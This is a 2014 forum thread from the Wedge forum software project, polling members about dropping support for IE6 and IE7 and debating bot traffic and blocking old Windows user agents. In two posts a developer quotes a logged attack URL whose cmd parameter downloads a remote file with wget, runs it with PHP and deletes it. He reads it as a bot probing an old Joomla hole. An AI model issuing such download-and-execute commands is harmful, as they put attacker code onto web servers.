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Poll: dropping oldIE
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Poll

Which IE versions don't you care seeing supported for your forum?

Drop IE6, everyone hates that one.
2 (11.1%)
Drop IE6 and IE7, seriously, it's a no-brainer.
14 (77.8%)
Drop all IE versions, my forum members use Linux anyway! Oh, and please add support for Lynx. It's so l33t.
1 (5.6%)
I want to keep everything. It's a miracle that Wedge can both be so modern, and yet not break on oldIE.
1 (5.6%)
Voting closed: March 6th, 2014, 12:21 PM - Total Members Voted: 18

Farjo

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Re: Poll: dropping oldIE
« Reply #15, on March 5th, 2014, 02:30 PM »
Actually I thought that my old employer used IE7 (and therefore many other organisations would) but searching my old posts I see that they used IE8. At my old place I couldn't upgrade or install any software (i.e. a different browser) hence my caution. But scratch that.

A warning to old browser users makes the software look good - it needs the latest browsers because it's using the newest features.

Hello Russia :)

Nao

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Re: Poll: dropping oldIE
« Reply #16, on March 5th, 2014, 02:36 PM »
IE6/7 being used in companies is an old idea. Died out years ago... Companies are more realistic than that. They'd only stick to ie6 for intranets only.

MultiformeIngegno

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Re: Poll: dropping oldIE
« Reply #17, on March 5th, 2014, 04:09 PM »
I blocked IE 6/7 in nginx at server level ahah. It returns a 403 forbidden :P

Nao

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Re: Poll: dropping oldIE
« Reply #18, on March 7th, 2014, 12:15 AM »
@kimikelku, have you tested in IE6/7? Actually it's already very, very broken in either... :^^;:

kimikelku

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Re: Poll: dropping oldIE
« Reply #19, on March 7th, 2014, 04:52 PM »
I kinda like the idea to know that old browsers still can view recent sites, but that goes against the purpose of wedge right?
If legacy code from smf was removed why keep support for these browsers, and if its already broken its a waste of time fixing.

Nao

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Re: Poll: dropping oldIE
« Reply #20, on March 7th, 2014, 06:29 PM »
Legacy server code was removed because it's crucial for servers to be up to date and I only have to impose my will upon x number of Wedge admins. Whereas imposing a recent browser upon y users (where y = x * average number of users per forum, at least 10), is much harder. This is why I was initially very proud of keeping compatibility with ie6 in Wedge... but that was in 2010. We're in 2014, xp support is ending, ie6 shares were divided by 10, and keeping support for ie6 is silly these days. Most ie6 users are either Asian (not much of a market for Wedge right now..), or bots. And neither care about Wedge being usable...
Re: Poll: dropping oldIE
« Reply #21, on March 8th, 2014, 01:21 PM »
So... I analyzed my visit logs for the last couple of days. There are very few IE6 and IE7 visits, but still a few hundreds.

Out of these, about 90% are pure bullshit.

Let's see...
IE7 - Mozilla/4.0 (compatible; MSIE 7.0; America Online Browser 1.1; Windows NT 5.1; (R1 1.5); .NET CLR 2.0.50727; InfoPath.1)
"InfoPath" is supposed to be a bot, to begin with...
But look at that beautiful request:
/profile/MultiformeIngegno/%22%20data-dot=%221%22%20class=%22url//images/stories/racrew.php?cmd=cd%20/tmp%20;wget%20http://picasa.com.rnt.ca/ec.txt%20;%20php%20ec.txt%20;%20rm%20-rf%20ec.txt
From what I could gather, it's a scriptkiddie's bot to exploit an old Joomla vulnerability. Yay...
Me loves that kind of wasted bandwidth. (Heck, even the script itself seems to no longer be hosted, so even if there was a vuln, it would still do nothing to it.)
I'm tempted to send a 403 to any query that holds a 'cmd=' variable in its query string. The only occurrence of 'cmd' as a variable in Wedge is an outgoing request to PayPal subscriptions. I don't think it would hurt.
Even "regular" IE6 user agents sometimes send some suspicious requests... What about "/.svn/entries" in the URL, eh..? Or guestbook2.htm? These are both IPs from Ukraine and Russia. (They may be in an internal crisis, but they both agree it's cool to bother every site in the world... :P)
Guests with a regular IE7 string trying to access ?action=unread, and who are nowhere to be found in the Wedge IP list, and even better, use a "direct allocation" IP address..? Very suspicious, too.

More importantly, Google, which is quite reliable when it comes to determining what a bot is, insists on telling me that I've only received two proper IE6 visits over the entire week (0.03% of all visits on the same period), and 11 visits for IE7. 15 visits for IE8, and 350 or something for IE11. So it's not blocking IE6 or IE7, it's just determining that most of the user agents claiming to be oldIE are full of shit, either because they've been busted as bots, or because, well, they're bots, and bots USUALLY don't download your JavaScript assets, especially not Google's..............

Anyway, all of this to say: I'm pretty confident that Google's stats are more correct than anything else I could try for.

MultiformeIngegno

  • Posts: 1,337
Re: Poll: dropping oldIE
« Reply #22, on March 8th, 2014, 06:10 PM »
Quote from Nao on March 8th, 2014, 01:21 PM
But look at that beautiful request:
/profile/MultiformeIngegno/%22%20data-dot=%221%22%20class=%22url//images/stories/racrew.php?cmd=cd%20/tmp%20;wget%20http://picasa.com.rnt.ca/ec.txt%20;%20php%20ec.txt%20;%20rm%20-rf%20ec.txt
Lol, why me? :P

Nao

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Re: Poll: dropping oldIE
« Reply #23, on March 8th, 2014, 07:06 PM »
A random scrape, man! The more posts you have, the likelier to be targeted!
Re: Poll: dropping oldIE
« Reply #24, on March 9th, 2014, 11:47 AM »

Web market share for Windows 2000
Web market share for Windows NT (<5, I guess.)

Both experienced an odd surge in May 2013. The surge for Windows NT is very suspicious, because it places its market share well above W2000's, even though 2000 is more recent, and was supported for much longer by Microsoft.

I tend not to trust NetMarketShare's data, especially when it comes to IE's market share (~58%, that is about 6 times the data I get for wedge.org on Google Analytics), but I'm also not 100% trusting of Google because they may be biased towards Chrome, and maybe they'll just "drop", "inadvertently", some requests made by old Windows OSes because they're more likely to use oldIE. (To be clear, none of the modern browsers work on old OSes, except for Opera 12 which AFAIK can work on Windows 98 with some tweaks and extra DLLs. But I don't think anyone with W98 *today* would be sufficiently computer-aware to use anything other than IE4 or something...)

What do you think, guys..?
I'm only asking because yesterday I committed an extra set of Bad Behavior rules that actually block any requests made from Windows 95, 98, ME and NT. Windows 2000 is supposed to be in the lot (according to BB's FAQ), but I don't think it is (I would have considered removing it otherwise.)

Bunstonious

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Re: Poll: dropping oldIE
« Reply #25, on March 9th, 2014, 11:33 PM »
I don't think it should be blocked, just include a banner saying its unsupported, then remove the hacks to make it work.

If they want to use an old browser, more sites than wedge.Org are going to not work.

PS: I use a mix of Chrome / IE. Tablet is 11 I think, and work is 9 or 10
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Obake

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Re: Poll: dropping oldIE
« Reply #26, on March 10th, 2014, 02:27 AM »
+1 on Bunstonious comment.

Don't support it, remove the fixes for 6 and 7  but also do not block it.

To me, supporting IE 6 and 7 makes as much sense as MS supporting Win 98SE. I worked with a guy last year that was pissed because some AV outfit would no longer support his Win98.  :)  Some folks just refuse to move forward, I suppose.
Re: Poll: dropping oldIE
« Reply #27, on March 10th, 2014, 02:32 AM »
Quote from Nao on March 9th, 2014, 11:47 AM
What do you think, guys..?
I'm only asking because yesterday I committed an extra set of Bad Behavior rules that actually block any requests made from Windows 95, 98, ME and NT. Windows 2000 is supposed to be in the lot (according to BB's FAQ), but I don't think it is (I would have considered removing it otherwise.)
Win2K was primarily a corporate OS. A lot of businesses used it and a few of us used it on our home PC. I really did like Win2K and it took me a long time to give it up. I really can not imagine any need to keep Win2K out of BB as it is unlikely that it is used by many businesses or individuals at this point. I am sure there are a few, but my gawd, they just need to move on.  :)

Nao

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Re: Poll: dropping oldIE
« Reply #28, on March 10th, 2014, 08:22 AM »
Quote from Bunstonious on March 9th, 2014, 11:33 PM
I don't think it should be blocked, just include a banner saying its unsupported, then remove the hacks to make it work.
You're mixing things up.
IE 6-IE 7 = unsupported. They currently look bad. But any good looking modern website will break horribly on them.
Old Windows = blocked. Not blocked "because they're unsupported"... Blocked because approximately 0.01% web visitors are actually using one of these, and a MUCH higher number of web visitors using this are actually spam bots.

I personally stayed with Win XP until my PC broke down a couple of years ago and I was forced to reinstall everything anyway.
I tend to tweak my OSes a lot, so I like keeping them that way. I have the same problem with my Galaxy S3 right now, ahah, can't upgrade to KitKat...

Anyway. WordPress blogs using BB will actually block any requests coming from Windows 2000 and below. What else?

Bunstonious

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Re: Poll: dropping oldIE
« Reply #29, on March 10th, 2014, 09:20 AM »
Quote from Nao on March 10th, 2014, 08:22 AM
Quote from Bunstonious on March 9th, 2014, 11:33 PM
I don't think it should be blocked, just include a banner saying its unsupported, then remove the hacks to make it work.
You're mixing things up.
IE 6-IE 7 = unsupported. They currently look bad. But any good looking modern website will break horribly on them.
Old Windows = blocked. Not blocked "because they're unsupported"... Blocked because approximately 0.01% web visitors are actually using one of these, and a MUCH higher number of web visitors using this are actually spam bots.
Ah right.

I guess it comes to a point where you decide what you want the project to be (and draw a line in the sand).

Cutting Edge and Nimble or Encumbered by hacks for old browsers.

Up to you I guess, you are the project steward (although the poll seems in favour of dropping support for OldIE).
Quote from Nao on March 10th, 2014, 08:22 AM
I personally stayed with Win XP until my PC broke down a couple of years ago and I was forced to reinstall everything anyway.
I tend to tweak my OSes a lot, so I like keeping them that way. I have the same problem with my Galaxy S3 right now, ahah, can't upgrade to KitKat...
I can definitely understand that, although I am the opposite, I usually end up reinstalling my OS every 6 - 12 because I either break it or get the shits with it's performance.
Quote from Nao on March 10th, 2014, 08:22 AM
Anyway. WordPress blogs using BB will actually block any requests coming from Windows 2000 and below. What else?
Anything less than Win7 ;) because Win7 is beast!
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